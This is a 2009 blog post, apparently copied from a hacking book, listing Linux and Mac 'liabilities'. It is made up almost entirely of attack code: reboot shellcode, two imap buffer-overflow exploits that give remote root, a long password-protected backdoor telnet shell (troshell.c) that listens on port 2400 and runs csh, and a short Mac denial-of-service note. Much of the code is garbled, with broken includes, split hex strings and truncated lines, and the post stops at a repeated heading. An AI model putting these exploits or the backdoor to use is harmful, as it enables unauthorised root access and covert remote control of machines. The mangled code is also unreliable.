Sunday, December 6, 2009

Linux

Originally written by Linus Torvalds, and developed under the GNU General Public License, Linux is an award-winning UNIX operating system designed for Intel, Alpha, Sun, Motorola, PowerPC,

PowerMac, ARM, MIPs, Fujitsu computer systems, and many more. Linux has been rated among the most popular operating systems on the market today. What's more, Linux includes true multitasking, virtual memory, shared libraries, memory management, TCP/IP networking, and much more.



Hacker's Currently, Linux is customized, packaged, and distributed by many vendors, including: RedHat Linux (www.redhat.com), Slackware (www.slackware.org), Debian (www.debian.org), TurboLinux (www.turbolinux.com), Mandrake (www.linux-mandrake.com), SuSE (www.suse.com), Trinux (www.trinux.org), MkLinux (www.mklinux.org), LinuxPPC (www.linuxppc.org), SGI Linux (http://oss.sgi.com/projects /sgilinuxH), Caldera OpenLinux (www.caldera.com), Corel Linux (http://linux.corel.com), and Stampede Linux (www.stampede.org).



Perhaps most important to this discussion is that the Linux source code is available free to the public; therefore, it has generated widespread proprietary program development. The downside to this broad-scale growth is that there are also scores of insecurities, many of which are damaging. In fact, an entire book could be written on Linux vulnerabilities; however, space limitations here preclude describing only some of the most common breaches. Take note; ordinary TigerBox foundations begin with a Linux operating system.



Liabilities



Reboot

Synopsis: Remote attack that reboots almost any Linux x86 machine.

Hack State: System halt/reboot.

Vulnerabilities: All flavors.

Breach: Reboot.asm.

Reboot.asm

jmp rootshell coded_by_bmV: popl %edi

call reb00t

rootshell:

call coded_by_bmV

reb00t:

xorl %eax,%eax movb $0x24,%eax

int $0x80

xorl %eax,%eax

movb $0x58,%eax

movl $0xfee1dead,%ebx

movl $672274793,%ecx movl $0x1234567,%edx int $0x80

xorl %eax,%eax

movb $0x01,%al int $0x80

char shellcode[]=

"\xeb\x0 6\x5f\xe8\x0 5\x0 0\x00\x0 0\xe8\xf5\xff" "\xff\xff\x31\xc0\xb0\x2 4\xcd\x8 0\x31\xc0\xb0" "\x5 8\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x2 8" "\xba\x67\x4 5\x23\x01\xcd\x8 0\x31\xc0\xb0\x01" "\xcd\x8 0\x8 9\xec\x5d\xc3";



void main()

{

int *ret;



ret = (int *)&ret + 2; (*ret) = (int)shellcode;

}



Remote Root Attack



Synopsis: Brute-force remote root attack that works on almost any Linux machine.



Hack State: Unauthorized root access.



Vulnerabilities: All flavors.



Breach: linroot.c.



linroot.c



#include

#include

#include

#include



#define BUFLEN 2048 #define NOP 0x90



char shell[] = /*

jmp 56

popl %esi

movl %esi,%ebx

movl %ebx,%eax



addb $0x20,0x1(%esi)

addb $0x20,0x2(%esi)

addb $0x20,0x3(%esi)

addb $0x20,0x5(%esi)

addb $0x20,0x6(%esi)



movl %esi,%edi

addl $0x7,%edi

xorl %eax,%eax stosb %al,%es:(%edi) movl %edi,%ecx

movl %esi,%eax

stosl %eax,%es:(%edi)

movl %edi,%edx

xorl %eax,%eax

stosl %eax,%es:(%edi)

movb $0x8,%al

addb $0x3,%al

int $0x80

xorl %ebx,%ebx

movl %ebx,%eax

incl %eax

int $0x80
call -61

.string \ "/BIN/SH\"

.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff ;markup
*/

"\xeb\x38\x5e\x89 \xf3\x89\xd8\x80" "\x46\x01\x20\x80 \x46\x02\x20\x80" "\x46\x03\x20\x80 \x46\x05\x20\x80" "\x46\x06\x20\x89 \xf7\x83\xc7\x07"



"\x31\xc0\xaa\x89 \xf9\x89\xf0\xab" "\x89\xfa\x31\xc0 \xab\xb0\x08\x04" "\x03\xcd\x80\x31 \xdb\x89\xd8\x40" "\xcd\x80\xe8\xc3 \xff\xff\xff\x2f" "\x42\x49\x4e\x2f\x53\x48\x00";



void

main (int argc, char *argv[])

{

char buf[BUFLEN];

int offset=0,nop,i; unsigned long esp;



fprintf(stderr,"usage: %s \n", argv[0]); nop = 403;

esp = 0xbffff520;

if(argc>1)

offset = atoi(argv[1]);



memset(buf, NOP, BUFLEN);

memcpy(buf+(long)nop, shell, strlen(shell));



for (i = 512; i < BUFLEN - 4; i += 4)

*((int *) &buf[i]) = esp + (long) offset; printf("* AUTHENTICATE { %d} \r\n", BUFLEN);

for (i = 0; i < BUFLEN; i++)

putchar(buf[i]);

printf("\r\n");

return; Remote Root Attack

Synopsis: Another imap remote root attack that works on almost any Linux machine.

Hack State: Unauthorized root access.

Vulnerabilities: All flavors.

Breach: imaprev.c.

Imaprev.c

#include #include #include



#include



#define BUFLEN (2*1024) #define NOP 0x90



char shell[] =

"\xeb\x34\x5e\x8d\x1e\x8 9\x5e\x0b\x31\xd2\x8 9\x5 6\x07"

"\x8 9\x5 6\x0f\x8 9\x5 6\x14\x8 8\x5 6\x19\x31\xc0\xb0\x7f"

"\x2 0\x4 6\x01\x2 0\x4 6\x02\x2 0\x4 6\x03\x2 0\x4 6\x0 5\x2 0\x4 6\x0 6"

"\xb0\x3b\x8d\x4e\x0b\x8 9\xca\x52\x51\x53\x50\xeb\x18\xe8\xc7\xff\x

ff\xff"

"\x2f\xe2\xe9\xee\x2f\xf3\xe8\x01\x01\x01\x01\x02\x02\x02\x02" "\x03\x03\x0 3\x03\x9a\x04\x0 4\x0 4\x04\x07\x04";



char buf[BUFLEN];

unsigned long int nop, esp; long int offset;



void

main (int argc, char *argv[])

{

int i;



nop = 403; offset = 100;

if (argc > 2) nop = atoi(argv[2]); if (argc > 1) offset = atoi(argv[1]);

esp = 0xbffff501; memset(buf, NOP, BUFLEN);

memcpy(buf+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4) *((int *) &buf[i]) = esp + offset;

printf("* AUTHENTICATE { %d} \r\n", BUFLEN); for (i = 0; i < BUFLEN; putchar(buf[i]);

printf(" \r\n");



return;

}

Trojan-ed Remote Shell

Synopsis: A common Trojan-ed remote shell attack that works on almost any Linux machine. Hack State: Unauthorized access to a shell. Vulnerabilities: All flavors. Breach: troshell.c.



troshell.c



#include

#define #define #define ns on

QLEN 5 MY_PASSWORD "wank" SERV TCP PORT 2400

/* port I'll listen for connectio



char sbuf[2048], cbuf[2048]; extern int errno; extern char *sys_errlist[]; void reaper(); int main(); void telcli();

char BANNER1[] BANNER2[]

= "\r\n\r\nSunOS UNIX (",

")\r\n\r\0\r\n\r\0";



/* won't do this option */ /* will do this option */

#define OPT_NO 0 #define OPT_YES 1

#define OPT_YES_BUT_ALWAYS_LOOK #define OPT_NO_BUT_ALWAYS_LOOK char hisopts[256]; char myopts[256];



char doopt[] = { IAC, DO, '%', 'c', 0 } ;

char dont[] = { IAC, DONT, '%', 'c', 0 }

char will[] = { IAC, WILL, '%', 'c', 0 }

char wont[] = { IAC, WONT, '%', 'c', 0 }



/

I/O data buffers, pointers, and counters.

/

char ptyibuf[BUFSIZ], *ptyip = ptyibuf;

char ptyobuf[BUFSIZ], *pfrontp = ptyobuf, *pbackp = ptyobuf;



char netibuf[BUFSIZ], *netip = netibuf; #define NIACCUM(c) { *netip++ = c; \ ncc++; \

}



char netobuf[BUFSIZ], *nfrontp = netobuf, *nbackp = netobuf;

char *neturg = 0; /* one past last bye of urgent data */

/* the remote system seems to NOT be an old 4.2 */

int not42 = 1;



/* buffer for sub-options */ char subbuffer[100], *subpointer= subbuffer, *subend= subbuffer; #define SB CLEAR() subpointer = subbuffer;



#define SB_TERM() { subend = subpointer; SB_CLEAR(); }

#define SB_ACCUM(c) if (subpointer < (subbuffer+sizeof subbuffer)

) { \

*subpointer++ = (c); \

}

#define SB_GET() ((*subpointer++)&0xff)

#define SB EOF() (subpointer >= subend)



int pcc, ncc;



int pt y, net; int inter;

extern char **environ; extern int errno; char *line;

int SYNCHing = 0; /* we are in TELNET SYNCH mode */ /*

The following are some clocks used to decide how to interpret

the relationship between various variables. */

struct { int system, echotoggle, modenegotiated, didnetreceive, ttypeopt, ttypesubopt, getterminal, gotDM;

} clocks;



/* what the current time is */

/* last time user entered echo character */

/* last time operating mode negotiated */

/* last time we read data from network */

/* ttype will/won't received */

/* ttype subopt is received */

/* time started to get terminal information */

/* when did we last see a data mark */



#define settimer(x) (clocks.x = ++clocks.system) #define sequenceIs(x,y) (clocks.x < clocks.y)



char *terminaltype = 0; char *envinit[2];

int cleanup();



/*

ttloop

*

A small subroutine to flush the network output buffer, get some data

from the network, and pass it through the telnet state machine.

We

also flush the pty input buffer (by dropping its data) if it bec omes

too full.

*/

void ttloop()

{

if (nfrontp-nbackp) { netflush();

netibuf);

}

ncc = read(net, netibuf, sizeof

if (ncc < 0) {

exit(1);

} else if (ncc == 0) { exit(1);

}

*/

netip = netibuf;
telrcv(); /* state machine

if (ncc > 0) {

pfrontp = pbackp = ptyobuf; telrcv(); }

}



/*

getterminaltype *

*Ask the other end to send along its terminal type.

Output is the variable terminal type filled in.

*/



void

getterminaltype()

{

static char sbuf[] = { IAC, DO, TELOPT_TTYPE } ;



settimer(getterminal); bcopy(sbuf, nfrontp, sizeof sbuf); nfrontp += sizeof sbuf;

hisopts[TELOPT_TTYPE] = OPT_YES_BUT_ALWAYS_LOOK;

while (sequenceIs(ttypeopt, getterminal)) { ttloop(); }

if (hisopts[TELOPT_TTYPE] == OPT_YES) { static char sbbuf[] = { IAC, SB, TELOPT_TTYPE, TELQUAL_SEND, IAC

SE } ;



bcopy(sbbuf, nfrontp, sizeof sbbuf); nfrontp += sizeof sbbuf;

while (sequenceIs(ttypesubopt, getterminal)) { ttloop();

}

}

}



int main(argc, argv) int argc; char *argv[];

{

int srv_fd, rem_fd, rem_len, opt = 1;

struct sockaddr_in rem_addr, srv_addr;
#if !defined(SVR4) && !defined(POSIX) && !defined(linux) &&
!defined( 386BSD ) && !defined(hpux)

union wait status; #else

int status; #endif /* !defined(SVR4) */



bzero((char *) &rem_addr, sizeof(rem_addr)); bzero((char *) &srv_addr, sizeof(srv_addr)); srv_addr.sin_family = AF_INET;

srv_addr.sin_addr.s_addr = htonl(INADDR_ANY); srv_addr.sin_port = htons(SERV_TCP_PORT); srv_fd = socket(PF_INET, SOCK_STREAM, 0);

if (bind(srv_fd, (struct sockaddr *) &srv_addr, sizeof(srv_addr

)) == -1) {

perror("bind"); exit(-1);

}

listen(srv_fd, QLEN); close(0); close(1); close(2);

#ifdef TIOCNOTTY

if ((rem_fd = open("/dev/tty", O_RDWR)) >= 0) {

ioctl(rem_fd, TIOCNOTTY, (char *)0);

close( rem_fd);

}

#endif

if (fork()) exit(0); while (1) {

rem_len = sizeof(rem_addr);

rem_fd=accept(srv_fd, (struct sockaddr *) &rem_addr, &rem_l

en);

if (rem_fd < 0) {

if (errno == EINTR) continue; exit( -1);



switch(fork()) { case 0:

close(srv_fd);



telcli(rem_fd);



close(rem_fd);

exit(0);

break; default:

close(rem_fd);

if (fork()) exit(0);



/* child process */

/* close original socke



/* process the request



/* parent process */ /* let init worry about children

*/



break; case -1:

fprintf(stderr, "\n\rfork: %s\n\r", sys_errlist[errno]) break;



}





void telcli(source) int source;

{

int dest; int found;

struct sockaddr_in sa; struct hostent *hp; struct servent *sp; char gethost[100]; char getport[100]; char string[100];



bzero(gethost, 100); /* sprintf(string, "Password: ");

write(source, string, strlen(string)); */ read(source, gethost, 100);

gethost[(strlen(gethost)-2)] = '\0'; /* kludge alert -

kill the \r\n */

if (strcmp(gethost, MY_PASSWORD) != 0) {

sprintf(string, "Wrong password, got %s.\r\n", gethost);

write(source, string, strlen(string));

close(source);

exit(0);

}

doit(source);

}

/*

* Get a pty, scan input lines.

*/

doit(f)

int f;

int i, p, t, tt;

struct sgttyb b; int on = 1; int zero; char *cp;



setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, &on, sizeof (on)); for (cp = "pqrstuvwxyzPQRST"; *cp; cp++) { struct stat stb;



line = "/dev/ptyXX";



line[strlen("/dev/pty")] = *cp;

line[strlen("/dev/ptyp")] = '0';

if (stat(line, &stb) < 0) break;

for (i = 0; i < 16; i++) {

line[strlen("/dev/ptyp")] = "0123456789abcdef"[i]; p = open(line, O_RDWR | O_NOCTTY);

if (p > 0)

goto gotpty;

}

}

fatal(f, "All network ports in use");

/*NOTREACHED*/

gotpty:

dup2(f, 0);

line[strlen("/dev/")] = 't'; t = open("/dev/tty", O_RDWR);

if (t >= 0) {

ioctl(t, TIOCNOTTY, 0);

close(t);

}

t = open(line, O_RDWR | O_NOCTTY);

if (t < 0)

fatalperror(f, line, errno); ioctl(t, TIOCGETP, &b);

b.sg_flags = CRMOD|XTABS|ANYP;



/* XXX - ispeed and ospeed must be non-zero */

b.sg_ispeed = B38400;

b.sg_ospeed = B38400;



ioctl(t, TIOCSETP, &b);

ioctl(t, TIOCLSET, &zero);

ioctl(p, TIOCGETP, &b);
b.sg_flags &= ~ECHO;

ioctl(p, TIOCSETP, &b);
net = f;
pty = p;





* getterminal type.

if ((i = fork()) < 0)

fatalperror(f, "fork", errno);

if (i)

telnet(f, p);

/*

The child process needs to be the session leader

and have the pty as its controlling tty.

*/

(void) setpgrp(0, 0); /* setsid */ tt = open(line, O_RDWR); if (tt < 0)

fatalperror(f, line, errno); (void) close(f); (void) close(p); (void) close(t);

if (tt != 0)

(void) dup2(tt, 0); if (tt != 1)

(void) dup2(tt, 1);

if (tt != 2)

(void) dup2(tt, 2);

if (tt > 2)

close(tt); envinit[0] = terminaltype; envinit[1] = 0; environ = envinit;

execl("/bin/csh", "csh", 0);

fatalperror(f, "/bin/csh", errno);

/*NOTREACHED*/

}



fatal(f, msg) int f; char *msg;

{

char buf[BUFSIZ];



(void) sprintf(buf, "telnetd: %s. \r\n", msg);

(void) write(f, buf, strlen(buf));

exit(1);

}

fatalperror(f, msg, errno) int f; char *msg; int errno;



char buf[BUFSIZ];

extern char *sys_errlist[];

(void) sprintf(buf, "%s: %s\r\n", msg, sys_errlist[errno]);

fatal(f, buf);





/*

* Check a descriptor to see if out-ofband data exists on it.



*/



stilloob(s)

int s; /* socket number */

{

static struct timeval timeout = { 0 } ; fd_set excepts; int value;



do {

FD_ZERO(&excepts); FD_SET(s, &excepts);

value = select(s+1, (fd_set *)0, (fd_set *)0, &excepts, &timeout)

r

} while ((value == -1) && (errno == EINTR));



if (value < 0) {

fatalperror(pty, "select", errno); }

if (FD_ISSET(s, &excepts)) { return 1;

} else { return 0;

}

}

/*

Main loop. Select from pty and network, and

hand data to telnet receiver finite state machine.

*/

telnet(f, p)

{

int on = 1;

char hostname[MAXHOSTNAMELEN];



ioctl(f, FIONBIO, &on); ioctl(p, FIONBIO, &on);

#if defined(SO_OOBINLINE)

setsockopt(net, SOL_SOCKET, SO_OOBINLINE, &on, sizeof on);

#endif /* defined(SO_OOBINLINE) */

signal(SIGTSTP, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGTTOU, SIG_IGN);

signal(SIGCHLD, cleanup); setpgrp(0, 0);



/*

Request to do remote echo and to suppress go ahead.

*/

if (!myopts[TELOPT_ECHO]) { dooption(TELOPT_ECHO);

}

if (!myopts[TELOPT_SGA]) {

dooption(TELOPT_SGA);

}

/*

Is the client side a 4.2 (NOT 4.3) system? We need to know th

is

because 4.2 clients are unable to deal with TCP urgent data. *

To find out, we send out a "DO ECHO". If the remote system

answers "WILL ECHO" it is probably a 4.2 client, and we note

that fact ("WILL ECHO" ==> that the client will echo what

WE, the server, sends it; it does NOT mean that the client wil

l

echo the terminal input). */

sprintf(nfrontp, doopt, TELOPT_ECHO); nfrontp += sizeof doopt-2;

hisopts[TELOPT_ECHO] = OPT_YES_BUT_ALWAYS_LOOK;



/*

Show banner that getty never gave. *

The banner includes some nulls (for TELNET CR disambiguation),

so we have to be somewhat complicated. */



gethostname(hostname, sizeof (hostname));



bcopy(BANNER1, nfrontp, sizeof BANNER1 -1); nfrontp += sizeof BANNER1 - 1; bcopy(hostname, nfrontp, strlen(hostname)); nfrontp += strlen(hostname);

bcopy(BANNER2, nfrontp, sizeof BANNER2 -1); nfrontp += sizeof BANNER2 - 1;



/*

Call telrcv() once to pick up anything received during

terminal type negotiation.

*/

telrcv();



for (;;) {

fd_set ibits, obits, xbits; register int c;



if (ncc < 0 && pcc < 0) break;

FD_ZERO(&ibits); FD ZERO(&obits);



FD_ZERO(&xbits);

/*

Never look for input if there's still

stuff in the corresponding output buffer

*/

if (nfrontp - nbackp || pcc > 0) {

FD_SET(f, &obits); } else {

FD_SET(p, &ibits);



if (pfrontp - pbackp || ncc > 0) {

FD_SET(p, &obits); } else {

FD_SET(f, &ibits);



if (!SYNCHing) {

FD_SET(f, &xbits); if ((c = select(16, &ibits, &obits, &xbits,

(struct timeval *)0)) < 1) {

if (c == -1) {

if (errno == EINTR) { continue;

}

}

sleep(5); continue;

}

/*

* Any urgent data?

*/

if (FD_ISSET(net, &xbits)) {

SYNCHing = 1;

}

/*

* Something to read from the network...

*/

if (FD_ISSET(net, &ibits)) {

#if !defined(SO_OOBINLINE)

/*

In 4.2 (and 4.3 beta) systems, the

OOB indication and data handling in the kernel

is such that if two separate TCP Urgent requests

come in, one byte of TCP data will be overlaid.

This is fatal for telnet, but we try to live

with it. *

In addition, in 4.2 (and. ), a special protocol

is needed to pick up the TCP Urgent data in

the correct sequence. *

What we do is: If we think we are in urgent

mode, we look to see if we are "at the mark".

If we are, we do an OOB receive. If we run

this twice, we will do the OOB receive twice,

but the second will fail, since the second

time we were "at the mark," but there wasn't

any data there (the kernel doesn't reset

"at the mark" until we do a normal read).

Once we've read the OOB data, we go ahead

and do normal reads. *

There is also another problem, which is that

since the OOB byte we read doesn't put us

out of OOB state, and since that byte is most

likely the TELNET DM (data mark), we would

stay in the TELNET SYNCH (SYNCHing) state.

So, clocks to the rescue. If we've "just"

received a DM, then we test for the

presence of OOB data when the receive OOB

fails (and AFTER we did the normal mode read

to clear "at the mark").

*/

if (SYNCHing) {

int atmark;



ioctl(net, SIOCATMARK, (char *)&atmark); if (atmark) {

ncc = recv(net, netibuf, sizeof (netibuf), MSG_OOB); if ((ncc == -1) && (errno == EINVAL)) { ncc = read(net, netibuf, sizeof (netibuf)); if (sequenceIs(didnetreceive, gotDM)) {

SYNCHing = stilloob(net);

}

}

} else {

ncc = read(net, netibuf, sizeof (netibuf));

}

} else {

ncc = read(net, netibuf, sizeof (netibuf)); }

settimer(didnetreceive); #else /* !defined(SO_OOBINLINE)) */

ncc = read(net, netibuf, sizeof (netibuf));

#endif/* !defined(SO_OOBINLINE)) */

if (ncc < 0 && ( (errno == EWOULDBLOCK) ||

(errno == EHOSTUNREACH)|| /*icmp stuff of no interest*/

(errno == ENETUNREACH) /*icmp stuff of no interest*/

)

)

ncc = 0;

else { /*disconnect on reset though!*/

if (ncc <= 0) {

break;

}

netip = netibuf;

}

}



/*

* Something to read from the pty.

*/

if (FD_ISSET(p, &ibits)) {

pcc = read(p, ptyibuf, BUFSIZ);

if (pcc < 0 && errno == EWOULDBLOCK)

pcc = 0; else {

if (pcc <= 0) break; ptyip = ptyibuf; }

}

while (pcc > 0) {

if ((&netobuf[BUFSIZ] - nfrontp) < 2) break;

c = *ptyip++ & 0377, pcc—;

if (c == IAC)

*nfrontp++ = c; *nfrontp++ = c;

if ((c == '\r') && (myopts[TELOPT_BINARY] == OPT_NO)) { if (pcc > 0 && ((*ptyip & 0377) == '\n')) {

*nfrontp++ = *ptyip++ & 0377;

pcc-- ; } else

*nfrontp++ = '\0';

}

}

if (FD_ISSET(f, &obits) && (nfrontp - nbackp) > 0)

netflush(); if (ncc > 0)

telrcv();

if (FD_ISSET(p, &obits) && (pfrontp - pbackp) > 0) ptyflush();

}

cleanup();

}

/*

* State for recv fsm

*/

#define TS_DATA 0 /* base state */

#define


TS IAC


1


/*


look for double IAC's */

#define


TS CR


2


/*


CR-LF ->'s CR */

#define


TS SB


3


/*


throw away begin's... */

#define


TS SE


4


/*


... end's (suboption negotiation

#define


TS WILL





5


/* will option negotiation */

#define


TS WONT





6


/* wont " */

#define


TS DO


7


/*


do " */

#define


TS DONT





8


/* dont " */

telrcv() {

register int c;

static int state = TS_DATA;



while (ncc > 0) {

if ((&ptyobuf[BUFSIZ] - pfrontp) < 2) return;

c = *netip++ & 0377, ncc—; switch (state) {



case TS_CR:

state = TS_DATA;

/* Strip off \n or \0 after a \r */ if ((c == 0) || (c == '\n')) { break;

}

/* FALL THROUGH */



case TS_DATA: if (c == IAC) { state = TS_IAC;

break;

}

if (inter > 0) break;

/*

We map \r\n ==> \r, since

We now map \r\n ==> \r for pragmatic reasons.

Many client implementations send \r\n when

the user hits the CarriageReturn key.

We USED to map \r\n ==> \n, since \r\n says * that we want to be in column 1 of the next

line.

*/

if ( c == '\r' && (myopts[TELOPT_BINARY] == OPT_NO)) {



state = TS_CR;

}

*pfrontp++ = c; break;



case TS_IAC:

switch (c) {

Send the process on the pty side an

interrupt. Do this with a NULL or

interrupt char; depending on the tty mode.

*/

case IP:

interrupt(); break;



case BREAK: sendbrk(); break;



/*

Are You There?

*/

case AYT:

strcpy(nfrontp, "\r\n[Yes]\r\n");

nfrontp += 9;

break;



/*

Abort Output

*/

case AO: {

struct ltchars tmpltc;



ptyflush(); /* half-hearted */ ioctl(pty, TIOCGLTC, &tmpltc); if (tmpltc.t_flushc != '\377') {

*pfrontp++ = tmpltc.t_flushc;

}

netclear(); /* clear buffer back */ *nfrontp++ = IAC; *nfrontp++ = DM;

neturg = nfrontp-1; /* off by one XXX */ break;

}



/*

Erase Character and

Erase Line



*/

case EC: case EL: {

struct sgttyb b;

char ch;



ptyflush(); /* half-hearted */ ioctl(pty, TIOCGETP, &b); ch = (c == EC) ?

b.sg_erase : b.sg_kill;

if (ch != '\377') { *pfrontp++ = ch;

}

break;

}



/*

Check for urgent data.

*/

case DM:

SYNCHing = stilloob(net);

settimer(gotDM); break;



/*

Begin option subnegotiation.

*/

case SB:

state = TS_SB;

continue; case WILL:

state = TS_WILL;

continue;



case WONT:

state = TS_WONT;

continue;



case DO:

state = TS_DO; continue;



case DONT:

state = TS_DONT;

continue;



case IAC:

*pfrontp++ = c;



break;

}

state = TS_DATA;

break;



case TS_SB: if (c == IAC) { state = TS_SE;

} else {

SB_ACCUM(c);

}

break;



case TS_SE:

if (c != SE) { if (c != IAC) { SB_ACCUM(IAC);

}

SB_ACCUM(c); state = TS_SB;

} else {

SB_TERM();

suboption(); /* handle sub-option */

state = TS_DATA;

}

break; case TS_WILL:

if (hisopts[c] != OPT_YES)

willoption(c);

state = TS_DATA;

continue; case TS_WONT:

if (hisopts[c] != OPT_NO)

wontoption(c);

state = TS_DATA;

continue;



case TS_DO: if (myopts[c] != OPT_YES)

dooption(c);

state = TS_DATA;

continue;



case TS_DONT: if (myopts[c] != OPT_NO) {

dontoption(c);

}

state = TS_DATA;

continue; default:

printf("telnetd: panic state=%d\n", state); exit(1);

}

}

}

willoption(option) int option;

{

char *fmt; switch (option) {

case TELOPT_BINARY:

mode(RAW, 0); fmt = doopt; break;



case TELOPT_ECHO:

not42 = 0; /* looks like a 4.2 system */

/*

Now, in a 4.2 system, to break them out of ECHOing

(to the terminal) mode, we need to send a "WILL ECHO".

Kludge upon kludge!

*/

if (myopts[TELOPT_ECHO] == OPT_YES) {

dooption(TELOPT_ECHO);

}

fmt = dont; break;



case TELOPT_TTYPE:

settimer(ttypeopt);

if (hisopts[TELOPT_TTYPE] == OPT_YES_BUT_ALWAYS_LOOK) { hisopts[TELOPT_TTYPE] = OPT_YES;

return;

}

fmt = doopt; break;



case TELOPT_SGA: fmt = doopt; break;



case TELOPT_TM: fmt = dont; break;



default:

fmt = dont; break;

}

if (fmt == doopt) {

hisopts[option] = OPT_YES; } else {

hisopts[option] = OPT_NO;

}

sprintf(nfrontp, fmt, option); nfrontp += sizeof (dont) - 2;

}

wontoption(option) int option;

char *fmt; switch (option) {

case TELOPT_ECHO:

case TELOPT_BINARY: mode(0, RAW); break;



case TELOPT_TTYPE:

settimer(ttypeopt); break;

}



fmt = dont;

hisopts[option] = OPT_NO;

sprintf(nfrontp, fmt, option); nfrontp += sizeof (doopt) - 2;

}

dooption(option) int option;

{

char *fmt;



switch (option) {



case TELOPT_TM: fmt = wont; break;

case TELOPT_ECHO: mode(ECHO|CRMOD, 0);

fmt = will; break;



case TELOPT_BINARY: mode(RAW, 0); fmt = will; break;



case TELOPT_SGA:

fmt = will; break;



default:

fmt = wont; break;

}

if (fmt == will) {

myopts[option] = OPT_YES; } else {

myopts[option] = OPT_NO;

}

sprintf(nfrontp, fmt, option);

nfrontp += sizeof (doopt) - 2;





dontoption(option)

int option;

{

char *fmt;



switch (option) { case TELOPT_ECHO: /*

we should stop echoing, since the client side will be doing

it,

but keep mapping CR since CR-LF will be mapped to it. */

mode(0, ECHO); fmt = wont; break;



default: fmt = wont; break;

}



if (fmt = wont) { myopts[option] = OPT_NO; } else {



myopts[option] = OPT_YES; }

sprintf(nfrontp, fmt, option); nfrontp += sizeof (wont) - 2;

}



/*

suboption()

*

Look at the sub-

option buffer, and try to be helpful to the other

side.

*

Currently we recognize: *

Terminal type is

*/



suboption()

{

switch (SB_GET()) {

case TELOPT_TTYPE: { /* Yaaaay! */ static char terminalname[5+41] = "TERM=";



settimer(ttypesubopt);

}



terminaltype = terminalname+strlen(terminalname);



while ((terminaltype < (terminalname + sizeof terminalname-1)) &&

!SB_EOF()) {

register int c;

c = SB_GET();

if (isupper(c)) { c = tolower(c); }

*terminaltype++ = c; /* accumulate name */

}

*terminaltype = 0; terminaltype = terminalname; break; }

default:

r

}

}

mode(on, off) int on, off;

{

struct sgttyb b; ptyflush();

ioctl(pty, TIOCGETP, &b);

b.sg_flags |= on; b.sg_flags &= ~off;

ioctl(pty, TIOCSETP, &b);

}

Send interrupt to process on other side of pty.

If it is in raw mode, just write NULL;

otherwise, write intr char.

*/

interrupt()

{

struct sgttyb b; struct tchars tchars;



ptyflush(); /* half-hearted */ ioctl(pty, TIOCGETP, &b); if (b.sg_flags & RAW) {

*pfrontp++ = '\0';

return;

*pfrontp++ = ioctl(pty, TIOCGETC, &tchars) < 0 ? '\177' : tchars.t_intrc;





/*

Send quit to process on other side of pty.

If it is in raw mode, just write NULL;

otherwise, write quit char.

*/

sendbrk()

{

struct sgttyb b; struct tchars tchars;



ptyflush(); /* half-hearted */ ioctl(pty, TIOCGETP, &b); if (b.sg_flags & RAW) {

*pfrontp++ = '\0';

return;

}

*pfrontp++ = ioctl(pty, TIOCGETC, &tchars) < 0 ? '\034' : tchars.t_quitc;



}



ptyflush()

{

int n;



if ((n = pfrontp - pbackp) > 0) n = write(pty, pbackp, n);

if (n < 0)

return; pbackp += n; if (pbackp == pfrontp)

pbackp = pfrontp = ptyobuf;

}



/*

nextitem() *

* Return the address of the next "item" in the TELNET data

stream. This will be the address of the next character if

the current address is a user data character, or it will

be the address of the character following the TELNET command

if the current address is a TELNET IAC ("I Am a Command")

character.

*/



char *

nextitem(current) char *current;

{

if ((*current&0xff) != IAC) {

return current+1;

}

switch (*(current+1)&0xff) { case DO: case DONT: case WILL: case WONT: return current+3;

case SB: /* loop forever looking for the SE */

{

register char *look = current+2;



for (;;) {

if ((*look++&0xff) == IAC) {

if ((*look++&0xff) == SE) { return look; }

}



}

}

default: return current+2; }

}



/*

netclear()

*

We are about to do a TELNET SYNCH operation. Clear

the path to the network. *

Things are a bit tricky since we may have sent the first

byte or so of a previous TELNET command into the network.

So, we have to scan the network buffer from the beginning

until we are up to where we want to be. *

A side effect of what we do, just to keep things

simple, is to clear the urgent data pointer. The principal

caller should be setting the urgent data pointer AFTER calling

us in any case.

*/



netclear()

{

((*p&0xff) == IAC) && \ ((*(p+1) &0xff) != EL))

register char *thisitem, *next; char *good; #define wewant(p) ((nfrontp > p) && ((*(p+1)&0xff) != EC) &&



thisitem = netobuf;



while ((next = nextitem(thisitem)) <= nbackp) { thisitem = next;

/* Now, thisitem is first before/at boundary. */



good = netobuf; /* where the good bytes go */



while (nfrontp > thisitem) { if (wewant(thisitem)) { int length;



next = thisitem;

do {

next = nextitem(next);

} while (wewant(next) && (nfrontp > next));



length = next-thisitem; bcopy(thisitem, good, length); good += length; thisitem = next; } else {

thisitem = nextitem(thisitem);

}

}

nbackp = netobuf;

nfrontp = good; /* next byte to be sent */ neturg = 0;

}



/*

netflush

* Send as much data as possible to the network,

handling requests for urgent data.

*/



netflush()

{

int n;



if ((n = nfrontp - nbackp) > 0) {

/*

if no urgent data, or if the other side appears to be an

old 4.2 client (and thus unable to survive TCP urgent data),

write the entire buffer in non-OOB mode.

*/

if ((neturg == 0) || (not42 == 0)) {

n = write(net, nbackp, n); /* normal write */ } else {

n = neturg - nbackp;

/*

In 4.2 (and 4.3) systems, there is some question about

which byte in a sendOOB operation is the "OOB" data.

To make ourselves compatible, we only send ONE byte

out of band, the one WE THINK should be OOB (though

we really have more the TCP philosophy of urgent data

rather than the UNIX philosophy of OOB data).

*/

if (n > 1) {

n = send(net, nbackp, n-1, 0); /* send URGENT all by itself */ } else {

n = send(net, nbackp, n, MSG_OOB); /* URGENT data */ }

}



}

if (n < 0) {

if (errno == EWOULDBLOCK) return;

/* should blow this guy away... */ return; }

nbackp += n; if (nbackp >= neturg) { neturg = 0; }

if (nbackp == nfrontp) { nbackp = nfrontp = netobuf; }

}



cleanup()

{

vhangup(); /* XXX */

shutdown(net, 2); exit(1);

}



Macintosh



The Apple Macintosh, the Mac (www.apple.com), with XServer is a compelling Internet and/or workgroup server. The core operating system was built using open standards; therefore, the open source software community contributed to its development. Called Darwin, the O/S provides the performance and greater reliability necessary for Internet, publishing, and mission-critical server applications. With new 3D technology, OpenGL, Mac takes the industry's most widely supported 2D and 3D graphics API to a whole new level.



Liabilities



Denial-of-Service Attack

Synopsis: Remote attack that toggles the Mac Web-sharing functions. Hack State: Configuration control. Vulnerabilities: MacOS 8x. Breach: Sending

to Port 80, followed by pressing Return twice, toggles the Mac Web-sharing functions.



Denial-of-Service Attack

